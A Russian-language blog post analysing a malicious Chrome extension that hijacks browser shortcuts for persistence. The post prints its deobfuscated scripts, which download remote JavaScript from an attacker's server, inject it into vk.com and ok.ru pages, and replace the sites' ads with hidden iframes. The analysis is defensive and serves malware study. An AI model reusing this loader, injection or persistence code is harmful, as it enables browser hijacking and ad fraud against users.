[Из песочницы] Анализ вредоносного расширения Google chrome

Добрый день, сегодня я расскажу про одного зловреда, пойманного на просторах Интернета. Данный зловред прикидывается расширением для браузера Google Chrome. При заражении видоизменяет ярлык, дописывая команду загрузки расширения (--load-extension «путь до зловреда»). То есть, можно удалить расширение в браузере, но при следующем запуске оно установиться вновь.

Давайте заглянем «под капот» расширения:
Структура расширения
Manifest.json
Bg.js
bgok.js
hash.js
bgvk.js
123.png
Папки _locales и CSS

Все исходники расширения доступны по ссылке github .
Manifest.json
{
"manifest_version": 2,
"name": "Go fire",
"permissions": [ "", "*://*/*", "unlimitedStorage", "storage", "tabs", "activeTab" ],
"version": "3.8",
"background": {
"persistent": true,
"scripts": [ "hash.js", "bg.js" ]
},
"content_scripts": [ {
"css": [ "css/bgvk.css" ],
"js": [ "bgvk.js" ],
"matches": [ "*://vk.com/*", "*://*.vk.com/*" ]
}, {
"css": [ "css/bgok.css" ],
"js": [ "bgok.js" ],
"matches": [ "*://odnoklassniki.ru/*", "*://www.odnoklassniki.ru/*", "*://ok.ru/*", "*://*.ok.ru/*" ]
} ],
"default_locale": "ru",
"description": "__MSG_appDesc__",
"icons": {
"128": "128.png"
}
}


Из файла манифеста понятно что точка входа фаил bg.js, файлы bgvk.js и bgvk.css подключаются для сайта vk.com. По аналогии фалы bgok.js и bgok.css подключаются для сайта odnoklassniki.ru. Все файлы скриптов обфусцированы.

Описание bg.js


Скрипт тянется в 3 места:
h**p://apiadv.me/hashes/apis.json
h**p://apiadv.me/js/vkapi.js
h**p://apiadv.me/js/okapi.js

По первой ссылке получаем файлик json следующего содержания:
[{"hashv":"13961f856524885207d8613a375ac2a9","hasho":"661f0a082c3153025f315eed43632dad"}]

Далее малварь тянет скрипт по этому урлу: h**p://apiadv.me/js/vkapi.js. затем идет сравнение его хеша (для получения хеша файла как раз и нужен скрипт hash.js) со значением hashv из json (правильно, а то вдруг недруги скомпрометируют!). Далее происходит сохранение полученного скрипта в chrome.storage.local под значением bxGZABwi.

Аналогично тянется скрипт h**p://apiadv.me/js/okapi.js — он сохраняется под значением tQFzTAwV. Дальнейший анализ будет только для сайта vk.com, для сайта ok.ru происходит аналогичный сценарий.

Рассмотрим поближе bgvk.js


bgvk.js
var IlTPXFOys = 'IlTPXFOysLy9hcGlhZHYubWUvanMvdmthcGkuanM=IlTPXFOya'; // "http://apiadv.me/js/vkapi.js"
var j = '//ajax.googleapis.com/ajax/libs/jquery/1.12.3/jquery.min.js';
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = j;
document.head.appendChild(s);
function LnDgSyNS() {
    var b = new XMLHttpRequest();
    b.open('GET', j, true);
    b.onreadystatechange = function () {
        if (b.readyState == 4 && b.status === 200) {
            eval(b.responseText);
        }
        ;
    };
    b.send();
    var t = 0;

    function g() {
        if (window.jQuery) {
            jQuery.getScript(atob(IlTPXFOys.slice(9, -9)) + '?' + Math.floor((Math.random() * 1e+10) + 1));
        } else {
            t++;
            if (t < 100) {
                setTimeout(g, 100);
            }
            ;
        }
        ;
    };
    g();
};
chrome.storage.local.get({bxGZABwi: ''}, function (syncdata) {
    if (!chrome.runtime.lastError) {
        if (syncdata.bxGZABwi != '') {
            var i = document.createElement('script');
            i.type = 'text/javascript';
            i.innerHTML = syncdata.bxGZABwi;
            document.head.appendChild(i);
        } else {
            LnDgSyNS();
        }
        ;
    } else {
        LnDgSyNS();
    }
    ;
});


Тут происходит попытка загрузить данные из chrome.storage.local и добавление их к элементу head страницы. В случае отсутствия данных скрипт пытается забрать их из сети по той же ссылке.
Так что же к нам так усердно пытаются загрузить?

Рассмотрим файл vkapi.js


При переходе по url получаем обфусцированный файл. С помощью jsbeautifier.org приводим его к вполне читаемому виду:
vkapi.js


if (document['getElementById']('ads_left') != null) {
    document['getElementById']('ads_left')['innerHTML'] = ''
};
if (document['getElementById']('left_ads') != null) {
    document['getElementById']('left_ads')['innerHTML'] = ''
};
var vkui = 1;
if (document['getElementById']('side_bar_inner') == null) {
    vkui = 2
};

function A() {
    var _0xb14bx3 = '';
    var _0xb14bx4 = 'abcdefghijklmnopqrstuvwxyz_';
    for (var _0xb14bx5 = 0; _0xb14bx5 < 32; _0xb14bx5++) {
        _0xb14bx3 += _0xb14bx4['charAt'](Math['floor'](Math['random']() * _0xb14bx4['length']))
    };
    return _0xb14bx3
}
var asrcfrmn = A();

function SETSRCFRM(_0xb14bx8) {
    var _0xb14bx9;
    if (_0xb14bx8 == 1) {
        _0xb14bx9 = 'side_bar_inner'
    } else {
        _0xb14bx9 = 'side_bar'
    };
    if (document['getElementById'](_0xb14bx9) != null && document['getElementById'](asrcfrmn) == null && document['getElementById'](asrcfrmn + '_a') == null && document['getElementById']('quick_login') == null) {
        var _0xb14bxa = document['createElement']('div');
        _0xb14bxa['setAttribute']('id', asrcfrmn);
        _0xb14bxa['setAttribute']('style', 'position:relative;');
        if (_0xb14bx8 == 1) {
            $('#' + _0xb14bx9 + ' ol')['after'](_0xb14bxa)
        } else {
            $('#' + _0xb14bx9)['append'](_0xb14bxa)
        };
        var _0xb14bxb = 'display:none;padding:0px;padding-top:0px;border:none;width:130px;height:1080px;overflow:hidden;z-index:100;position:static;';
        var _0xb14bxc = document['createElement']('iframe');
        _0xb14bxc['setAttribute']('style', _0xb14bxb);
        _0xb14bxc['setAttribute']('id', asrcfrmn + '_a');
        _0xb14bxc['setAttribute']('marginwidth', '0');
        _0xb14bxc['setAttribute']('marginheight', '0');
        _0xb14bxc['setAttribute']('scrolling', 'no');
        _0xb14bxc['setAttribute']('frameborder', '0');
        $('#' + asrcfrmn)['append'](_0xb14bxc);
        var _0xb14bxd = document['createElement']('iframe');
        _0xb14bxd['setAttribute']('style', _0xb14bxb);
        _0xb14bxd['setAttribute']('id', asrcfrmn + '_b');
        _0xb14bxd['setAttribute']('marginwidth', '0');
        _0xb14bxd['setAttribute']('marginheight', '0');
        _0xb14bxd['setAttribute']('scrolling', 'no');
        _0xb14bxd['setAttribute']('frameborder', '0');
        $('#' + asrcfrmn)['append'](_0xb14bxd)
    };

    function _0xb14bxe() {
        var _0xb14bxe = ['aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9zZWFyY2hwbHVzLm1lL3ZhZHZhL3ZhZHZyY2EuaHRtbA=='];
        return _0xb14bxe[Math['floor'](Math['random']() * _0xb14bxe['length'])]['substr'](3)
    }

    function _0xb14bxf(_0xb14bx10, _0xb14bx11, _0xb14bx12, _0xb14bx13, _0xb14bx14, _0xb14bx15) {
        if (_0xb14bx13 == 0 && _0xb14bx14 == 0) {
            $(_0xb14bx10)['animate']({
                opacity: _0xb14bx12
            }, _0xb14bx11, function () {
                if (_0xb14bx15 == 1) {
                    $(_0xb14bx10)['removeAttr']('src')
                }
            })
        };
        if (_0xb14bx13 != 0 && _0xb14bx14 == 0) {
            $(_0xb14bx10)['animate']({
                opacity: _0xb14bx12
            }, _0xb14bx11, function () {
                $(_0xb14bx10)['css']({
                    "display": _0xb14bx13
                });
                if (_0xb14bx15 == 1) {
                    $(_0xb14bx10)['removeAttr']('src')
                }
            })
        };
        if (_0xb14bx13 == 0 && _0xb14bx14 != 0) {
            $(_0xb14bx10)['animate']({
                opacity: _0xb14bx12
            }, _0xb14bx11, function () {
                $(_0xb14bx10)['css']({
                    "position": _0xb14bx14
                });
                if (_0xb14bx15 == 1) {
                    $(_0xb14bx10)['removeAttr']('src')
                }
            })
        };
        if (_0xb14bx13 != 0 && _0xb14bx14 != 0) {
            $(_0xb14bx10)['animate']({
                opacity: _0xb14bx12
            }, _0xb14bx11, function () {
                $(_0xb14bx10)['css']({
                    "display": _0xb14bx13
                    , "position": _0xb14bx14
                });
                if (_0xb14bx15 == 1) {
                    $(_0xb14bx10)['removeAttr']('src')
                }

            })
        }
    }
    var _0xb14bx16 = document['getElementById'](asrcfrmn + '_a');
    var _0xb14bx17 = document['getElementById'](asrcfrmn + '_b');
    if (_0xb14bx16['style']['display'] == 'none') {
        _0xb14bx16['setAttribute']('src', atob(_0xb14bxe()));

        function _0xb14bx18() {
            document['getElementById'](asrcfrmn + '_a')['onload'] = null;
            if (_0xb14bx16['getAttribute']('src') != null) {
                $('#' + asrcfrmn + '_b')['css']({
                    "z-index": '100'
                    , "position": 'static'
                });
                $('#' + asrcfrmn + '_a')['css']({
                    "z-index": '101'
                    , "position": 'absolute'
                    , "opacity": 0
                    , "display": 'block'
                    , "top": 0
                    , "left": 0
                });
                _0xb14bxf('#' + asrcfrmn + '_a', 200, 1, 0, 'static', 0);
                _0xb14bxf('#' + asrcfrmn + '_b', 200, 0, 'none', 0, 1)
            }
        }
        document['getElementById'](asrcfrmn + '_a')['onload'] = _0xb14bx18
    } else {
        _0xb14bx17['setAttribute']('src', atob(_0xb14bxe()));

        function _0xb14bx19() {
            document['getElementById'](asrcfrmn + '_b')['onload'] = null;
            if (_0xb14bx17['getAttribute']('src') != null) {
                $('#' + asrcfrmn + '_a')['css']({
                    "z-index": '100'
                    , "position": 'static'
                });
                $('#' + asrcfrmn + '_b')['css']({
                    "z-index": '101'
                    , "position": 'absolute'
                    , "opacity": 0
                    , "display": 'block'
                    , "top": 0
                    , "left": 0
                });
                _0xb14bxf('#' + asrcfrmn + '_b', 200, 1, 0, 'static', 0);
                _0xb14bxf('#' + asrcfrmn + '_a', 200, 0, 'none', 0, 1)
            }
        }
        document['getElementById'](asrcfrmn + '_b')['onload'] = _0xb14bx19
    }
}
var winact;
var eventct = 1;

function RI() {
    IRF = setInterval(function () {
        if (winact == 'active') {
            SETSRCFRM()
        }
    }, 120000)
}

function FR() {
    setTimeout(function () {
        eventct = 0
    }, 3500)
}

function CL() {
    if (eventct == 0) {
        eventct = 1;
        SETSRCFRM();
        clearInterval(IRF);
        RI();
        FR()
    }
}

function RLA() {
    $('#left_ads, #ads_left')['remove']();
    setTimeout(RLA, 30000)
}

function MAINSTART() {
    SETSRCFRM(vkui);
    FR();
    RI();
    RLA();
    var _0xb14bx21 = $('#side_bar_inner ol')['height']() - 8;
    if (_0xb14bx21 > 6) {
        $('#side_bar_inner')['css']('height', _0xb14bx21)
    };
    $('a, a span')['click'](function () {
        CL()
    });
    $(document)['on']('click', 'a div, div a, button, a > b', function () {
        CL()
    });
    setTimeout(function () {
        $('#left_blocks, .left_holiday')['animate']({
            "opacity": '0'
        }, 300, function () {
            $('#left_blocks, .left_holiday')['hide']()
        })
    }, 10000);
    var _0xb14bx22;
    $(document)['mousemove'](function () {
        if (winact != 'active') {
            winact = 'active'
        };
        clearTimeout(_0xb14bx22);
        _0xb14bx22 = setTimeout(function () {
            winact = 'inactive'
        }, 120000)
    });
    $(document)['hover'](function (_0xb14bx23) {
        if (_0xb14bx23['fromElement']) {
            winact = 'inactive';
            clearTimeout(_0xb14bx22)
        } else {
            winact = 'active'
        }
    })
}
var trystart = 0;

function START() {
    trystart += 1;
    if (window['jQuery']) {
        MAINSTART()
    } else {
        if (trystart > 35) {
            var _0xb14bx26 = document['createElement']('script');
            _0xb14bx26['type'] = 'text/javascript';
            _0xb14bx26['src'] = '//code.jquery.com/jquery-1.12.3.min.js';
            document['head']['appendChild'](_0xb14bx26)
        };
        if (trystart < 500) {
            setTimeout(START, 75)
        }
    }
}
START();
var st = document['createElement']('style');
st['innerHTML'] = '#left_ads,#left_ads > *,#ads_left,#ads_left > * > *,div[id*="ayments_bo"],div[class*="anding_moneysen"],div[id*="ds_page_simpl"] div[class*="ds_intro_pag"],div[id*="ickets_conten"] div[id*="ew_ticke"],div[id="ads_page_wrap3"],div[class*="log_about_pres"] div[class*="log_about_wra"]{display:none!important;opacity:0!important;height:0px!important;min-height:0px!important;}';
document['head']['appendChild'](st)


Скрипт удаляет рекламу, которую отрисовывает сайт vk.com, после чего создается 2 элемента Iframe. В один из iframe отрисовывается реклама с url= :»//axisworlds.me/advpages/vadvaaa/vadvmgh.html»,
затем Iframe с рекламой размещается на месте «легитимной» рекламы сайта vk.com.

Вместо эпилога.


Возможно это всего лишь мои предрассудки, но всё же. На текущий момент расширение просто перерисовывает рекламу в двух соц сетях, но в то же время переквалифицировать его в нечто более серьезное, изменив исходники на сервере, не составит владельцу особого труда.

Спасибо за внимание!

Комментарии (0)

© Habrahabr.ru